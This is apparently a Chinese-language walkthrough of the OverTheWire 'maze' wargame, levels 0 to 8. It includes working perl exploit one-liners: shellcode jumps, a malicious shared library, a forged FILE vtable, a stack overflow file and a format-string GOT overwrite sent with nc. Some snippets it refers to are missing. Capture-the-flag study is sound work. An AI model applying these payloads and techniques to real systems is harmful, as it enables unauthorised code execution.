-
maze0
race condition,以前做过,于是懒得再弄了 -
maze1
ldd
检查发现会加载当前目录下的libc.so.4
。于是我们写一个文件
这里的输入输出没有用libc里的fopen,printf等,因为没有加载正确的libc.so
将该文件编译成动态库:
$ gcc --shared -fPIC 1.c -o libc.so.4
再运行程序,就会调用我们提供的start_main
- maze2
把payload提供为argv即可。调用时会执行我们提供的argv[1]的内容;由于最多只能复制8个字符,所以把shellcode放环境变量,然后跳到那里:
正好7个字符,然后执行
$ /maze/maze2 `perl -e 'print "\xb8\xd8\xd8\xff\xff\xff\xe0"'`
- maze3
只有个_start,估计是纯手写的汇编。 关于linux下main函数的启动,http://tldp.org/LDP/LGNET/84/hawk.html有一篇文章。于是可以知道,进入_start之后,栈顶由高到底依次为:argc, &argv[0], &argv[1], &argv[2],…。而_start一般来说会执行
这里就把argv和argv推到栈上了。
对于我们的程序,首先取出argc,看减1后是否为0,如果是的话退出。
然后调用了mprotect,是修改内存属性,7的话应该是rwx,于是我们接下来可以修改指令部分了。接着是把44bytes指令取出(ecx=0x2c),与0x12345678做XOR,再保存回原来的地方(edi=edi=d1),接着就执行这一部分的内容。全部XOR之后,将要执行的代码变成:
由于之前有pop了一次,所以这里是把argv[1]和0x1337c0de比较,相等的话就有shell了。于是执行
$ /maze/maze3 `perl -e 'print "\xde\xc0\x37\x13"'`
多说一句,1337这个数经常见到,因为是http://en.wikipedia.org/wiki/Leet
- maze4
这里会检查提供的文件,如果符合要求则执行。具体检查如下:
而如果提供ELF文件,那么p_paddr在0x08040000之后,但两个bytes相乘不太可能等于那么大的数。
但如果是脚本文件,就不用那么费事了。
$ perl -e 'print "#!/bin/sh\ncat maze5\n#" . "-"x7 . "\x14\x00\x00\x00" . "\xb8\x2e\x00\x00"' > overthewire/maze/maze4.sh
两个相乘的bytes在0x7、0x8处,是s和h。program header在0x1c,我们把那里写成0x14。这样再找p_paddr就会在0x14+0xc=0x20,那里写成乘积0x2eb8。这样就符合要求了。
为了省事儿,我把密码文件链接到当前目录下面了。而且用sh而不是bash,因为setuid的问题。
-
maze5
检查用户名和密码,都是8bytes,而且password[i]=’printlol’[i]-(username[i]-65)-2*i。这样我们如果提交username为A?=;9753,那么-2i被抵消,密码还是printlol -
maze6
这里可以覆盖FILE指针地址,也就是说可以使用我们提供的FILE结构。其定义在文件libio.h中,名字是_IO_FILE。
http://www.ouah.org/fsp-overflows.txt有一篇参考文章。
fprintf最终会调用vfprintf。参考FILE的定义,开始处有一些指针,我们把那里都写成jump table的地址。然后
可以看到,FILE的地址放在了esi,esi+0x46处的signed char被取出。参考定义这个是signed char _vtable_offset;然后此offset加上0x94得到table的地址;最后0x1c加table地址被调用。
于是,我们把第0x46处写成8,接下来作为jump table的内容,存的全是SHELLCODE的地址。
$ ./maze6 1 `perl -e 'print "\x2a\xf2\xd5\xd5"x17 . "\x2e\x2e\x22\x2e" . "\x7e\xf3\xd5\xd5"x22 . "\xf7\xf6\xd5\xd5"x24 . "\x96\xf2\xd5\xd5"'`
- maze7
首先读取起始的0x34=52个bytes,并从中获取参数,传给函数print_shdrs;然后在这个函数中的read(fd,&v5,nbytes)
处可以向下覆盖至返回地址,由于这次的读文件还需要保持堆上的地址,所以我们再放72bytes在文件的后面。
要注意的是,向下覆盖时会重写ptr和buf的值。为了后面的free不出错,我们用gdb获得这两个堆上的地址,然后放到文件相应的地方;此外,在printf中会打印一个字符串,我们最好保证地址不要越界,也就是v5不要超过ptr的长度。
$ perl -e 'print "A"x32 . "\x34\x00\x00\x00" . "A"x10 . "\x48\x00" . "\x01\x00" . "\x00\x00" . "\x00"x20 . "\x10\x00\x00\x00" . "\x00"x16 . "\x38\xa0\x04\x08" . "AAAA" . "\x08\xa0\x04\x08" . "\x02\x00\x00\x00" . "A"x8 . "ebp-" . "\x05\xd9\xff\xff"' > f $ /maze/maze7 f
- maze8
会监听1337端口。另外,snprintf存在format string。我们选择修改send的got地址,这需要同时联两个到ssh上面,一个把shellcode放到环境变量并启动maze8,另一个发送我们构造的内容:
$ perl -e 'print "\x78\x9d\x04\x08" . "\x79\x9d\x04\x08" . "\x7a\x9d\x04\x08" . "\x7b\x9d\x04\x08" . "%245x%11\$hhn" . "%212x%12\$hhn" . "%38x%13\$hhn" . "%14\$hhn"' | nc 127.0.0.1 1337
这样maze8那边就得到shell